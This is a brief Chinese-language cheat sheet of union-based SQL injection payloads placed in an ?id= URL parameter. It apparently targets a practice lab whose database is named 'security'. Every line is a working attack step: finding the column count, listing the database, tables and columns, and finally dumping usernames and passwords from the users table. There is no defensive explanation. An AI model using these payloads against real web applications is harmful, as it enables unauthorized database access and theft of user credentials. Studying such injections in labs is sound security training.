找到表列數(shù)

?id=1 order by 3 -- +

得到當(dāng)前庫

?id=-1 union select 1,2,database()

得到所有表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'

得到users所有字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'

得到name:password數(shù)據(jù)

?id=-1 union select 1,2,group_concat(username,'：',password) from users